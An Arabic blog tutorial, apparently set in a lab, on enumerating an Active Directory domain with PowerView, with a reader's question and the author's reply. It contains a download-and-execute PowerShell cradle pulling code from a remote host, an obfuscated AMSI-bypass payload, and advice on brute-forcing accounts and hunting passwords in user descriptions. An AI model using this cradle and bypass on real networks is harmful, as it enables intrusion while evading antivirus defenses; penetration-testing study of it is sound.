Domain Enumeration - Power View #1

Jehad Alqurashiمنذ سنتين

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

 

مقدمة:

في هذي المقالة راح نشرح كيفية جمع المعلومات بالنسبة للدومين

بس قبل لا نبدا بخطوة جمع المعلومات خلونا ناخذ نظره عن ايش هو ال Active Directory

 

نفترض لو عندنا شركة تتكون من 50 موظف وكل موظف له جهاز خاص فيه وعندنا قواعد بيانات متعددة كيف نحن راح نسوي ادارة لكل هذي المصادر الهائلة

في هذي النقطة راح نستفيد من خدمة ال Active Directory

ايش هي مكونات ال Active Directory :

1- Forest ,Domain Trees ,Domains

2- Computers Users & Groups

3- Trusts

4- Group Policy

5- Access Control List


طبعا المكونات كثيره لكن هذي اهمها او اللي لازم تتعرف عليها

 

طبعا بعض المكونات مو واضح فكرتها ف راح اوضحها

 

1- Domains,Domains Trees,Forest
 

طبعا في الصورة اللي مرفقه نلاحظ انه ال Forest يحتوي على Domains Tree و ال Domain Tree يحتوي على Domains

 

 

3- Trusts

في بيئة ال Active Directory الوثوقية تعني علاقة بين نطاقين او بين غابتين (Forests)

فايدة الوثوقية ان كل من النطاقين او الغابتين تسمح بالوصول الى موارد النطاق الاخر او الغابة الاخرى

الوثوقية تكون تلقائية اذا كانوا بنفس Domain Tree

انواع الوثوقية:

1- One-way Trusts

2- Tow-way Trusts

طيب ايش الفرق بين هذي الانواع؟

1- One-way Trusts

في هذا النوع يمكن النطاق الاول الوصول الى موارد النطاق الثاني بينما النطاق الثاني لايمكنه الوصول الى موارد النطاق الاول

2- Tow-way Trusts

في هذا النوع يمكن للنطاقين الوصول الى موارد الاخر


5- Access Control List

طبعا فكرة  ACLs ب اختصار انها قائمة تحدد فيها الصلاحيات لكل قروب او كل مستخدم ايش يقدر يسوي
 

الشرح:


في هذي المقالة راح نستخدم اداة PowerView عشان نجمع معلومات عن ال Domain اللي نحن موجودين عليه بصلاحية محدودة
 

الفايدة من جمع المعلومات عشان نرسم خريطة واضحه توصلنا الى Domain Controller


رابط الاداة

PowerView


طبعا الاداة مكتوبة بلغة PowerShell ف ماراح اسوي تنزيل للملف حقها على جهازي لان راح يحذفها ال Windows Defender وانا ماعندي صلاحية حتى اسوي Disable لي ال Windows Defender

ف راح افتح ال PowerShell وانفذ هذا الامر فكرة الامر هذا انه يسوي Load للملف في الميموري دايركت
 

iex(New-Object Net.WebClient).DownloadString('http://172.16.99.7:9090/PowerView.ps1')


بس قبل انفذ هذا الامر راح يوقفنا شي اللي هو ال AMSI ايش هو ال AMSI

تقدر تقول انه Anti Virus خاص في تعقب الميموري هل يوجد في الميموري كود خبيث او لا

ف راح نتخطاه عن طريق هذا الكود
 

(neW-oBJeCt  iO.COMpRESsiOn.DeflAteSTrEAm([io.MemoryStREAM][coNveRT]::FrOmBAsE64StRINg( 'pZJRT9swEMff/SlOVqQmIqsyOjZENQnKpAkJWEUZe4jy4CaX1ZoTW7YzGqZ9dy5uBoWHvZAH53y+/8/3tx39kO3sED7DKWesc7L9CaveeWzmL2bTm671ssHpRevRarNC+1uW6OaMmW6tZAmlEs7BjvaHMaAv/6LURWO09TH/hbZFNTvkSRHWRpXzwtMPt0RtgeBLb+Er+qXV5VlVWXQuHrObK111ClPS2KExQyXXosFk/rbdLrWoLuXaCtvHI7p9C3attYI7aX0nFNnwWPp/FpQZPaXwfUxV9yv5QKY62Xqo1TXej5oUdOd3aWVq9U1V48LQ2F/GTxkj2Lvb3iBE4dgZi/a80JXmIV2cnOxb5KLhcADcyWmlFE9YNPa0L3h1A/vcFPhZ42RgrErRhmDR1TXaAWYIk7En0KtziJ7854MzKjlKIdt+yChhsS4iQ4il8OVm6GbRe8yLAuJsuzge6o4+DWOWhTHExyE+n5GM7u49qSb5/1/s9EpYtxGKmpsE0fD4J+fa9PFuZwKm8Nzox2TCJG7jHf8AgiRhjw==' ) , [SySteM.io.comPREssioN.CoMPReSSIONMOde]::DEcompreSS)| % { neW-oBJeCt io.sTreAMreaDER( $_ ,[TexT.eNcoDInG]::asCii)}).readtOeNd() |iEX


بكذا سوينا Load للملف في الميموري بدون مشاكل

الان راح نبدا نجمع معلومات عن الدومين اسم الدومين ومنهم المستخدمين الموجودين وايش الكمبيوترات وايش القروبات الموجودة ومنهم اعضاء القروبات الخ


راح نعرف اسم الدومين و ال Domain Controller عن طريق هذا الامر

 

Get-NetDomain

 
عن طريق هذا الامر راح نعرف منهم المستخدمين الموجودين على النظام
 

Get-NetUser

هذا الامر لي استخراج معلومات مستخدم محدد
 

Get-NetUser –Username ciadmin

نلاحظ انه استخرجنا معلومات للمستخدم اللي اسمه ciadmin طيب ايش راح نستفيد؟ 

في اشياء راح تفيدنا مثلا logoncount نلاحظ انه قيمتها 137 هذا يعني انه هذا الشخص دخل على حسابه 137 مره هذا يعني انه ممكن حسابه مو خامل ممكن انه نسوي Brute Force عليه

او مثلا pwdlastest هذي تعلمنا متى اخر مره غير الباسورد حقه ف اذا كان من فترة طويلة ف من الممكن الباسورد حقه يكون سهل تخمينه


هذا الامر راح يبحث لنا عن كلمة معينة في الوصف الخاص بجميع المستخدمين

ف بعض المستخدمين من الممكن يحط الباسورد الخاص فيه في الوصف ويعتقد انه مافي احد يقدر يقرأءه ف ممكن نعوض بدل كلمة built ب كلمة password

 

Find-UserField -SearchField Description -SearchTerm "built"

 

هذا الامر بيعرض لنا جميع الكمبيوترات المرتبطة بالدومين

 

Get-NetComputer

ممكن انه نضيف اوبشن على الامر السابق بحيث يستخرج لنا معلومات اكثر عن الكمبيوترات المرتبطة بالدومين

 

Get-NetComputer -FullData

هذا الامر يعرض لنا القروبات الموجودة المرتبطة بالدومين

Get-NetGroup

هذا الامر يستعرض لنا اعضاء قروب محدد
 

Get-NetGroupMember -GroupName "Domain Admins"

نلاحظ انه المستخدم اللي اسمه svcadmin و Administrator ضمن قروب Domain Admins


هذا الامر يستخرج لنا المستخدم متواجد في اي قروب

 

Get-NetGroup –UserName "svcadmin"



الى هنا وصلنا الى نهاية المقالة

اتمنى انها نالت على اعجابكم


شاكر لكم.

كلمات دليلية: enumeration hacking
2
إعجاب
3252
مشاهدات
0
مشاركة
3
متابع

التعليقات (2)

Sam Fat:

السلام عليكم

 

هل يمكن استخدام الاداة على جهاز ويندوز لكن غير عضو في الدومين ؟

Jehad Alqurashi:

لا اكيد ف هذي الحالة تحتاج انه تخترق جهاز مرتبط في الدومين

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !